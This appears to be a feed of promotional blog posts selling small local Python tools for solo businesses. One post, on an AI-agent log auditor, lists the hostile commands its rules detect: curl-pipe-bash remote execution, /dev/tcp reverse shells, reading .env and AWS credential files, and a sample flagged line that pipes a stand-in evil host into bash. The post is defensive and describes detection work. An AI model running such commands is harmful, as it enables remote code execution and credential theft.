DEV Community: AgentChip

I Turned 22 Solopreneur Tools Into One $199 Bundle (and Why You Shouldn't Buy Them Separately)

AgentChip — Thu, 27 Aug 2026 04:09:34 +0000

If you run a small business, a freelance practice, or an indie product alone, you already know the pattern: you buy one tool for invoicing, another for follow-ups, another for monitoring, another for SEO, another for testing — and by the end of the year you've spent $470+ and you're still duct-taping five different dashboards together.

I built and published 22 small, practical tools for exactly this kind of operator. Individually they're $8–$49. Together they're a $473.96 stack. So I packaged the whole thing as a bundle and priced it at $199 — about 58% off.

What's inside

The bundle covers the boring, repetitive parts of running a solo business:

Finance & back-office: freelance invoice tracking, invoice data cleaning, cash-flow forecasting, consignment manager, contract renewal tracker, batch certificate generator
Growth & SEO: llms.txt generator, GEO visibility checker (AI-search readiness), dead-link checker
Dev & ops: Docker deployment playbook, website uptime monitor, Notion second brain, AI prompt pack, Python automation cookbook
AI workflow: AI QA workflow kit, AI agent command auditor (audit your own agents' command logs), model deprecation watcher
Sales & delivery: follow-up engine (the 1/3/7/14/30-day rhythm), Remotion SaaS demo video templates, TrialShield (free-trial abuse prevention), honest backtester, and more

Why the bundle exists

Three rules I applied to every tool:

Pure local, zero-dependency — every one is a Python CLI or script with the standard library only. No SaaS account, no API key, no data leaves your machine.
Dogfooded — each tool was built to solve a problem I actually hit running this very business (the dead-link checker, for instance, came straight from maintaining a content site).
Verified before listing — every zip ships with a README, real examples, and a test run that passed before it went live.

Buying the stack separately costs $473.96. The bundle is $199 — one-time, permanent updates, and it goes up in price as new tools get added.

If you're running anything solo and feel the tool sprawl, grab the bundle here — it's the closest thing to having an ops department for one person.

Originally published on the AgentChip blog.

Your Site Is Bleeding SEO Over Dead Links — Here's a 10-Minute Fix

AgentChip — Wed, 26 Aug 2026 12:16:33 +0000

Every site that has existed for more than a year has dead links. Old partners' domains go dark, articles get deleted, URL structures change, images get moved. Each one is a tiny leak: a 404 where a visitor expected content, a lost crawl budget line, a trust hit that Google quietly scores against you.

Nobody notices — until the SEO report looks bad and you have no idea which of the 2,000 links on your site is the problem. Manually checking is not an option. That's the gap I built a tool for.

The three ways dead links kill your site

SEO weight loss — every internal link to a 404 is crawl budget spent on nothing, and Google treats broken internal links as a quality signal.
Visitor loss — click through an email or a Google result, hit "Page not found", leave. That's a conversion you paid for and never got.
Silent decay — sites rot gradually. By the time you notice, the damage is months old.

What I built: a dead link checker that runs anywhere

A single-file Python tool, pure standard library, zero dependencies. Three input modes:

--sitemap https://yoursite.com/sitemap.xml — full-site coverage, sub-sitemaps included
--urls urls.txt — just check the links you care about
--crawl https://yoursite.com/ — BFS crawl that discovers and checks internal links automatically

It extracts <a> links plus <img>/<script>/<link>/<iframe> resources, filters out mailto/tel/javascript/data URLs, follows redirects, and checks concurrently (default 10 workers — 500 links in minutes).

# Weekly cron: scan Sunday morning, alert if anything's dead
0 9 * * 0  cd /path/to/deadlink && python3 deadlink_checker.py --sitemap https://yoursite.com/sitemap.xml --md deadlinks.md || echo "dead links found!" | mail -s "alert" you@example.com

Output is Markdown for humans, JSON for your automation. Exit code 1 when dead links are found, so it drops straight into cron/CI as a watchdog. It runs locally — your URLs never get uploaded to a third-party SaaS.

Why local beats the SaaS checker

The market is full of link-checking services. They're subscriptions, they rate-limit you by link count, and they require uploading your site structure to someone else's cloud. A local tool answers the same question in 10 seconds, for a one-time price, with full privacy.

If your site has been growing for a while and you don't know your dead link count right now — that's exactly the blind spot this is for. The full kit (checker + crawl mode + sitemap parser + docs) is at AgentChip.

Dead links are the cheapest problem to fix and the easiest to ignore. Ten minutes today beats a penalty next quarter.

Originally published on the AgentChip blog.

Your Spreadsheet Can't Tell You the Month You'll Run Out of Cash. This Can.

AgentChip — Wed, 26 Aug 2026 00:20:12 +0000

Small businesses don't die because they stop making money. They die because the cash runs out before the money arrives — payroll on Friday, invoice paid next month, supplier due Tuesday. The spreadsheet tells you what happened. It won't tell you the month you run dry.

The blind spot: your P&L is a rearview mirror

Income statements and spreadsheets are hindsight. They sum up what already happened. But the question that actually keeps you alive is forward-looking: given my planned income and expenses, which month does my balance go negative?

That's a different calculation — a rolling projection, month by month, with seasonality and one-time costs. It's simple enough to do by hand, tedious enough that nobody does it, and critical enough that missing it kills companies.

What I built: a cash-flow forecaster that yells before you hit zero

A single-file Python tool (pure standard library, zero dependencies) that takes a plain CSV of your income/expense plan and does three things:

12-month rolling forecast — opening balance, income, expenses, net, closing balance for every month
Cash-gap alarm — automatically finds the lowest-balance month; if it goes negative you get a 🚨 CASH GAP alert and exit code 1, so you can hang it on a cron and get warned the day it's about to happen
Three-scenario simulation — optimistic (income ×1.2), base, pessimistic (×0.8) so you see the range, not one lucky number
What-if analysis — --what-if "hire_contractor,-2000,3" to see exactly what a big expense does to your curve before you commit

# Forecast 12 months from your plan.csv
python cashflow_forecaster.py --data plan.csv --months 12

# See what hiring someone in month 4 does to the cash curve
python cashflow_forecaster.py --data plan.csv --what-if "contractor,-2000,month4"

Output is Markdown for humans, JSON for your own automation. No cloud, no subscription, no uploading your numbers to someone else's server — your financial plan never leaves your machine.

Why this beats a SaaS dashboard

The market is full of beautiful cash-flow SaaS products. They're $30–100/month, they require onboarding, and they're usually optimized for finance teams that have someone whose job this is. Most independent founders and shop owners just need one honest answer every month: will I run out of cash, and where?

A local tool answers that in 10 seconds, for a one-time price, with your data staying yours.

If you've ever had a "wait, we're low on cash" moment that caught you by surprise, the full kit (forecaster + three-scenario engine + what-if + docs) is at AgentChip.

The spreadsheet is your past. The forecast is your future. Know which month matters.

Originally published on the AgentChip blog.

Your Backtest Is Lying to You. Here's How to Prove It.

AgentChip — Tue, 25 Aug 2026 20:09:05 +0000

If you've spent any time building trading strategies, you've seen the pattern: a backtest that looks amazing, a forward test that looks okay, and a live account that quietly bleeds out. The strategy didn't fail — the backtest was lying, and nobody built in a way to catch it.

The problem isn't bad data or bad code. It's that most backtesting workflows are built to confirm a strategy, not to disprove it. Curve-fit parameters, no benchmark, no out-of-sample check, no significance test — you get a pretty equity curve and a false sense of edge.

What I built: a backtester that refuses to flatter you

A single-file Python backtest engine (pure standard library, zero dependencies) with the honesty checks built into the core, not bolted on:

70/30 in-sample / out-of-sample split — the strategy has to survive data it never saw
Parameter heat-map overfitting scan — if the profitable parameter region is narrow, it's flagged FRAGILE, not marketed as robust
Rolling-window stability — edge has to persist across time slices, not just one lucky stretch
Shuffle random control — does the strategy actually beat a randomly shuffled version of the same data?
t-test significance — is the edge statistically distinguishable from noise?
Buy-and-hold benchmark — the humblest baseline; if you can't beat it, it says so

Instead of a vanity report, you get a verdict in three honest tiers:

CONFIRMED  — edge survives out-of-sample, parameter scan, shuffle, and benchmark
MIXED      — real signal, but fragile in places; know exactly where
REJECTED   — what you actually need to hear before funding it with real money

Four strategies ship built-in (SMA cross, Donchian, RSI, momentum) and you can drop in your own as a Python function.

# Run the built-in demo on synthetic data with an edge
python honest_backtester.py --demo

# Test your own strategy on a CSV of OHLC data
python honest_backtester.py --data my_data.csv --strategy my_strategy.py --report md

Why honesty is the feature

The trading tools market is full of products that sell you confirmation. The ones that tell you "no edge here, don't trade this" are rare — because that's the answer most people don't want to pay for. But it's the answer that saves you from the real cost: funding a strategy that only worked in the past.

If you've ever wondered whether your edge is real or just a well-fit curve, the full kit (engine + overfitting checks + benchmark + docs) is at AgentChip.

The market doesn't owe you a strategy. A good backtester at least tells you the truth about the one you have.

Originally published on the AgentChip blog.

Model Deprecations Are Silent Production Killers. Here's a 30-Minute Fix

AgentChip — Tue, 25 Aug 2026 12:13:05 +0000

Ask any team that runs an AI production pipeline how they found out a model they depend on was deprecated, and the answer is almost always the same: from the errors.

A model gets sunset, an endpoint changes, a pricing tier quietly disappears — and your app only breaks when traffic actually hits the affected path. Then it's two days of paging, reverting, re-testing prompts against a new model, and explaining to stakeholders why "it worked yesterday."

The worst part: every provider publishes this information. Nobody reads it. OpenAI has a deprecations page. Anthropic has one. DeepSeek and Gemini have one. They just sit there, changing silently while your pipeline depends on them.

What I built: a tiny watcher for model deprecation pages

A single-file Python CLI (pure standard library, zero dependencies) that watches the official deprecation/change pages of the major providers:

4 sources out of the box — OpenAI deprecations, Anthropic model-deprecations, DeepSeek news, Gemini deprecations
--add custom sources — your own vendor, your own SaaS changelog, any page you depend on
Fingerprint diffing — it hashes the visible text, so it only alerts on real content changes, not on layout tweaks or popup modals
Exit code 1 on change — plug it into cron/CI/webhook and you get alerted the day a deprecation lands, not the day your pipeline breaks
Zero API keys, zero cost — it reads public pages only

# Build a baseline once
python model_watch.py --snapshot

# Run daily in cron; exit code 1 = something changed
0 9 * * * python /opt/model_watch/model_watch.py --json >> /var/log/model_watch.log

When it fires, it extracts the actual deprecation/retirement sentences from the page, so you know what changed, not just that something changed.

Why a watcher beats a changelog subscription

Email digests from vendors are marketing-shaped and late. A diff-based watcher on the official page is the ground truth, checked on your schedule, alerting in the format your ops stack already understands (exit codes).

If you run any multi-provider AI pipeline — or just want to stop learning about model changes from your error logs — the full kit (watcher + custom-source support + JSON output + docs) is at AgentChip.

Deprecation notices are public. Being caught by surprise is optional.

Originally published on the AgentChip blog.

Your AI Agent Has Bash Access. Who's Watching the Logs?

AgentChip — Tue, 25 Aug 2026 00:39:49 +0000

If you run Claude Code, Cursor, Copilot, or any agent with terminal access, you've granted a machine the power to run arbitrary commands on your machine. That's the deal — it's why agents are so productive. But there's a dark corner nobody talks about: the logs.

Your agent's session logs are a goldmine: rm -rf on a production path, curl ... | bash fetching and executing remote code, cat .env exfiltrating secrets into a transcript, a chmod 777 on something that should never be world-writable. Most of the time nothing goes wrong. But when it does, you find out after the damage, because nobody was reading thousands of lines of JSONL logs.

The problem with "I'll check the logs later"

You won't. Nobody does. Session logs are verbose, boring, and unstructured. A dangerous command hides in 40,000 lines of perfectly normal operations. And the stakes aren't theoretical:

An agent with write access to a repo runs git push --force and destroys a day of work
A curl | bash one-liner pulls a package from a typosquatted domain
A cat ~/.aws/credentials dumps keys into a shared transcript

What I built: a log auditor that runs on a cron

A pure-Python CLI that parses your agent operation logs (native Claude Code JSONL support + a generic format) and flags dangerous patterns:

35+ dangerous-rule library — rm -rf on root paths, curl|bash/wget|sh remote execution, reverse shells (nc, bash -i >& /dev/tcp/...), secret exfiltration (cat .env, aws configure, private-key reads), chmod 777, firewall teardowns, crontab persistence, git push --force, and more
Risk scoring — every command gets a score; sessions get a summary so you triage in seconds, not hours
Three output formats — text, JSON, Markdown
Exit code 1 on HIGH/CRITICAL — drop it in a cron or CI step and get alerted the moment something dangerous happens
--rules to add your own — your environment's hazards are unique

python auditor.py --log ~/.claude/projects/abc123/12345.jsonl --format markdown
# CRITICAL: curl -s http://evil.sh | bash  (line 812, risk 95)

It's the same pattern as a code-review bot, but for what your agent actually did — a second pair of eyes that never sleeps.

Who needs this

Anyone who gives agents terminal or file-write access: solo developers running Claude Code, teams with agent pipelines in CI, ops folks who've woken up to a 3 AM alert from an automation that went off the rails. If you can't honestly say you've read your last 50 agent session logs, you need an auditor.

The full kit (auditor + 35+ rules + sample logs + review prompt templates) is at AgentChip.

Trust your agents, but verify their commands.

Originally published on the AgentChip blog.

Designers, Stop Sending Unwatermarked Previews (A 2-Minute Fix That Saves Your Work)

AgentChip — Tue, 25 Aug 2026 00:39:34 +0000

Every designer and photographer has been there: you send a client a preview, they screenshot it, crop out your email, and next thing you know your concept is being pitched to their client without you.

The preview is supposed to be safe to share. The screenshot makes it not safe. And the usual options all suck:

Manual watermarking in Photoshop — fine for one image, miserable for a 50-shot client batch
Online watermark tools — you upload a paying client's confidential work to a stranger's server. That's a privacy leak you can't take back.

What I built: a watermark that runs entirely on your machine

A small Python CLI (pure PIL, zero dependencies) that watermarks an entire folder in one command:

3 watermark modes — tile (repeats across the whole image), corner (discreet bottom-right), diagonal (large slanted pattern that's genuinely annoying to crop out)
Dynamic per-client codes — {{client}}, {{date}}, {{code}} render into every preview, with a unique random 6-char code. If a screenshot leaks, you know exactly which client it came from. That's the killer feature: it turns watermarking from deterrence into attribution.
Low-res preview output — send clients a degraded version instead of the full-res file
The original file is never touched — output always goes to a separate preview copy
Batch + recursive — --recursive walks a whole folder, so a 50-shot batch takes one command

python watermark_preview.py --mode diagonal --opacity 0.35 --font-size 48   --client "Acme Co" --code 06C488 --recursive ./shots/

Nothing ever leaves your computer. No uploads, no third-party servers, no leaking a client's unreleased work.

Why this matters more than it sounds

Watermarking isn't about being paranoid — it's about not being the designer whose work walks away for free. One leaked preview can cost you the entire project. A watermark with a client-specific code doesn't just protect the work; it changes client behavior, because they know a leak traces back to them.

You can grab the full kit (engine + 3 modes + sample designs + docs) at AgentChip.

Send previews like a professional: protect the work, keep the client, keep the trust.

Originally published on the AgentChip blog.

I Automated My Client's 3-Hour Nightly Invoice Copy-Paste Ritual (CSV In, Reconciliation Out)

AgentChip — Mon, 24 Aug 2026 16:15:17 +0000

Every night at 10 PM, a distributor I know sits down with 40-80 PDF invoices and copies them into a spreadsheet. Vendor names, dates, amounts with thousand separators, the occasional duplicate from a re-sent email. Three hours. Every single day. He tried ChatGPT — it hallucinated line items. He tried paying a VA — turnover every two months.

The embarrassing part: none of this work was skilled. It was parsing, deduplication, and arithmetic. All things a deterministic script does perfectly, every time, with zero hallucination.

The manual invoice pipeline is a tax on small businesses

If you handle invoices for a small business, you already know the failure modes:

Duplicates — a vendor re-sends an invoice, you enter it twice, and the P&L quietly lies to you
Dirty numbers — 1,234.56 and 1234.56 and $1,234.56 all mean the same thing but Excel treats them as strangers
Vendor aliases — "Acme Corp" vs "Acme Corporation" vs "ACME CORP" split your reporting into three phantom suppliers
Reconciliation — matching what you entered against what your bank says is the part nobody has time for, so it never happens

None of this needs AI. It needs deterministic parsing — the same rules applied to every file, with the same result every run.

What I built: a no-AI invoice cleaning kit

I packaged a small Python kit that turns your nightly ritual into one command:

invoice_cleaner.py — reads CSV exports of your invoices and:
- dedupes exact and near-duplicate rows
- normalizes dates (8/3/26 → 2026-08-03)
- parses amounts with thousand separators and currency symbols ($1,234.56 → 1234.56)
- normalizes vendor names so "Acme Corp" and "ACME CORPORATION" become one supplier
- writes clean rows + an errors.csv for anything it couldn't parse (so nothing silently disappears)
reconcile_report.py — produces a reconciliation workbook: totals by vendor, by month, by week, in one Excel file with three sheets
sample_invoices.csv — 12 rows of realistic dirty data so you can see it work before touching your own books

The philosophy is the opposite of ChatGPT: no guesses, ever. If it can't parse a line, it goes to the error file instead of inventing a number. Deterministic, auditable, and 100x faster than copy-paste.

What it saved

On my test data: 12 rows → 10 clean, 2 duplicates removed, and the 1,234.56 thousand-separator rows parsed correctly on the first try. The report files generate in under a second.

For the distributor: his nightly 3-hour ritual becomes a 5-minute export + one command + a quick skim of errors.csv. That's ~15 hours a week back, doing work a human was never supposed to do.

The full kit (cleaner + reconciler + sample data + docs) is at AgentChip.

The rule that keeps it honest

Never let a tool guess a financial number. If your pipeline can't parse a line, it should surface it for a human — not round it, not skip it, not "AI-complete" it. That single rule is the difference between software that helps your bookkeeping and software that quietly corrupts it.

Automate the copy-paste. Keep the human judgment. Your evenings are worth more than data entry.

Originally published on the AgentChip blog.

Your Customers Aren't Ghosting You. Your Follow-Up Is.

AgentChip — Mon, 24 Aug 2026 12:11:10 +0000

Every freelancer knows the scene: you send a quote, the client replies "Sounds good, let me check with my partner" — and then silence. You wait a week. You don't want to seem pushy. The deal dies silently, and you never find out why.

Here's the uncomfortable truth: most lost deals aren't lost to competitors. They're lost to silence. The client forgot, got busy, or assumed you weren't interested either. And the fix isn't a CRM — it's a follow-up rhythm you actually stick to.

Why follow-up is where the money is

The numbers aren't controversial: a huge share of sales happen between the 4th and 12th touchpoint. Most sellers give up after 2. If you follow up consistently — politely, with a fixed cadence — you're already outperforming the majority of your competition.

But "I'll follow up" is a promise the brain never keeps. Life happens. Client lists grow. That's why this has to be a system, not a resolution.

What I built: a dead-simple follow-up engine

I packaged a Python follow-up engine that runs on any laptop, no subscription, no CRM onboarding:

Drop your clients into a CSV (name, company, offer, stage)
It sends follow-up emails on a fixed 1/3/7/14/30-day cadence — never twice in the same day, never more than 5 rounds
It tracks every contact in SQLite so you never double-email someone
If the client replies, it detects the reply via IMAP and automatically pauses that contact — no more emailing someone who already said yes
--dry-run previews everything before a single email goes out; --send fires the real thing
Templates support variables like {{name}}, {{company}}, {{offer}} so every email sounds personal, not mass-sent

The whole thing is ~200 lines of pure Python stdlib. Zero dependencies, works with Gmail app passwords or any SMTP. It's the kind of tool that makes you money in the first week by resurrecting two dead quotes — which is exactly what happened when I tested it on my own pipeline.

You can grab the full kit (engine + templates + sample data + docs) at AgentChip.

The one rule that makes it work

The magic isn't the tool — it's the cadence discipline. Follow-up is a numbers game: most prospects need 4+ touches. If you have a system that touches them politely on days 1, 3, 7, 14, and 30, you will win deals you currently lose to silence.

Stop treating follow-up as a chore you'll do when you remember. Make it a script that runs whether you remember or not.

Originally published on the AgentChip blog.

Your SaaS Needs a Demo Video. You Don't Need a $2,000 Agency.

AgentChip — Sat, 22 Aug 2026 20:07:08 +0000

Every bootstrapped founder hits the same wall around launch week: you need a demo video, and agencies charge $2,000+ for one.

You could record a Loom of yourself clicking around — but that's not a demo, that's a screen recording with a mouse cursor and background noise. Buyers watch 30 seconds, yawn, and go back to your competitor's polished 60-second explainer.

The gap between "we have a product" and "we have a video that sells it" is real money. Here's how to close it for the price of a pizza order.

Why demo videos win (and why they're so expensive)

A good product demo does three jobs:

Shows the flow, not the features. Users buy outcomes. A video that walks through the problem → the fix → the payoff sells; a feature list doesn't.
Compresses trust-building. A minute of watching a product work beats ten paragraphs of copy.
Feeds every channel. The same 60 seconds becomes your landing page hero, your Twitter teaser, your YouTube ad, your investor deck.

Agencies charge $2k–$5k because the process is labor: script, design, animation, voiceover, revisions. But the underlying technology — programmatic video — is now something a solo founder can own.

What I built: editable demo templates

I packaged a set of 6 editable Remotion templates specifically for SaaS demos:

HeroIntro (15s) — product name, tagline, and a punchy hook, vertical or horizontal
FeatureHighlights (24s) — three feature callouts with animated indicators, the classic "this is what it does" beat
PricingCTA (12s) — pricing card animation ending in a clear call to action
Testimonial (10s) — social proof segment
Outro (8s) — brand card + "get started" close

Everything is code — which is the whole point. Change one constant at the top of the file (product name, tagline, colors) and every template in the package updates globally. No clicking through a timeline, no re-exporting six versions.

Render locally, re-render on every design change, and keep the source forever. When your pricing changes, you don't pay the agency again — you re-render.

The templates come with a full setup guide (Node + Remotion install, config, and render to MP4) and are built to run on any laptop. I use this exact workflow for my own products, and the full package — templates, docs, and examples — is available at AgentChip.

Your product deserves better than a Loom link. And you deserve better than a $2,000 invoice.

Originally published on the AgentChip blog.

I Turned Certificate Day From an Afternoon Into 5 Minutes (CSV Branded PDFs)

AgentChip — Sat, 22 Aug 2026 16:20:19 +0000

Every training center, driving school, yoga studio, and certification body has the same hidden tax: certificate day.

A class of 15 finishes. The instructor has the list of names. And then someone — usually the owner, usually at 9pm — opens a Word template and starts the ritual: type the name, fix the spelling, adjust the font so it fits the line, check the date, print, sign, repeat 14 more times. Fifteen people is an afternoon. Fifty people is a lost weekend.

I've built this exact workflow for small businesses that issue completion certificates, and the fix is embarrassingly simple: stop touching each certificate by hand.

The three things that actually eat your time

1. Name entry and spelling. Every name has to be typed once, checked against the roster, and often fixed. In a batch of 30 you will typo at least one name, and someone will notice it on the wall.

2. The layout fight. Long names overflow the line. Short names look lonely. The date format changes between batches. Every tweak is a manual formatting session in a tool that was never designed for batch output.

3. The re-issue loop. Someone loses their certificate or needs a corrected one. Now you have to recreate that one specific PDF, with the same design, from scratch — or dig through a folder of half-finished documents trying to find the right template.

What I built

A single Python script that turns the whole ritual into one command:

python cert_generator.py --input students.csv --title "Course Completion" --signer "Maria Chen"

CSV in, PDFs out. Drop in a spreadsheet with name / course / date / certificate ID, and it generates a merged PDF for the whole class plus individual PDFs for each person — print-ready, A4 landscape, branded with your colors, logo corner, and gold signature line.
Consistent design, zero formatting fights. Long names auto-fit, dates format themselves, IDs auto-increment. Every certificate in the batch looks exactly like the last one, because it's drawn by code, not by hand.
One-off re-issues are free. Someone lost theirs? Run the script again with just their row. The output is identical, and it takes four seconds instead of twenty minutes.

No design software, no cloud subscription, no monthly fee. It's a script that runs anywhere Python runs — Windows, Mac, or Linux — and it's bilingual out of the box (English and Chinese layouts, so it works for international training programs too).

I packaged it with a sample class, full setup instructions, and a customization guide (colors, fonts, logo, signature) over at AgentChip. It's aimed at the owner who'd rather spend the afternoon teaching than generating PDFs.

Your students earned the certificate. You shouldn't have to earn it again every time you print one.

Originally published on the AgentChip blog.

The Spreadsheet That Saves Consignment Shops From Losing Money (and Friends)

AgentChip — Sat, 22 Aug 2026 04:13:39 +0000

Consignment shops run on trust. A stranger hands you their grandmother's leather coat, you promise to sell it and split the money, and both of you have to believe the other one is keeping track. The shop that fumbles that trust — pays out late, loses track of items, forgets the 90-day rule — doesn't lose a sale. It loses every future consignor that person talks to.

I've spent time around enough small consignment and vintage shops to see the same three money leaks in all of them. None of them are glamorous. All of them are fixable with a spreadsheet and one script.

Leak #1: The 90-day rule nobody enforces

Most consignment shops have a standard policy: if an item hasn't sold in 90 days, you either mark it down or return it to the consignor. It keeps inventory fresh and it keeps consignors happy.

In practice? The date is written on a paper tag, the tag gets buried, and three months later the coat is still hanging there unsold while the consignor starts wondering where it went. When you finally "find" the item, it's been 140 days and the consignor is annoyed, the inventory is stale, and you ate the storage cost.

The fix is a countdown, not a calendar. Every consignment line gets a "days to 90-day" figure computed automatically. The sheet flags anything approaching the deadline — green, yellow, red — so the owner sees at a glance what needs marking down this week instead of discovering it in a drawer in January.

Leak #2: The payout math

Here's how it usually goes: consignor brings 6 items. Three sell this month at different prices with a 40% commission. Two more sell next month. One never sells and gets returned.

By the end of month two, the owner is doing arithmetic across a pile of handwritten receipts: "Item A sold at $85, so consignor gets 60% of that, minus the $10 markdown we agreed… and wait, did we return the green jacket?"

This is where money and trust both leak. The consignor does their own mental math, and if the payout is $7 short, they don't complain — they just never come back, and they tell their friends.

The fix is a per-consignor settlement sheet that builds itself. Every sale automatically rolls up to "what this consignor is owed," commission applied consistently, markdowns tracked, one total per person. The monthly statement is a one-click email, not an afternoon of reconciliation.

Leak #3: Nobody gets a statement

Even an honest shop loses consignors by looking disorganized. The consignor asks "how's my stuff doing?" and the answer is "uh, I think two of your pieces sold." No numbers, no dates, no statement.

A monthly itemized statement — here's what sold, here's what's still in the shop, here's your balance — turns a vague relationship into a professional one. It takes five minutes to send and it's the cheapest retention tool a consignment business has.

What I built

A self-contained Google Sheets workbook that does all three:

Status that computes itself — each item is automatically Sold, In Stock, or 90-Day Due based on its dates, with a live countdown column.
Per-consignor settlements — every sale rolls up to what each person is owed, commission included, with a running total.
Automated reminders — a Google Apps Script checks daily for items hitting 90 days, and emails the owner. A second script emails monthly statements to every consignor with open balances.

No API keys, no monthly subscription, no install. Open the sheet, type in your consignments, and the columns, totals, and reminders take care of themselves.

I packaged the whole thing (workbook + the two Apps Scripts + setup instructions) over at AgentChip. It's aimed at the shop owner who'd rather spend Sunday afternoon pricing new arrivals than reconciling last month's payouts.

Trust is the inventory of a consignment shop. A good tracking sheet is how you protect it.

Originally published on the AgentChip blog.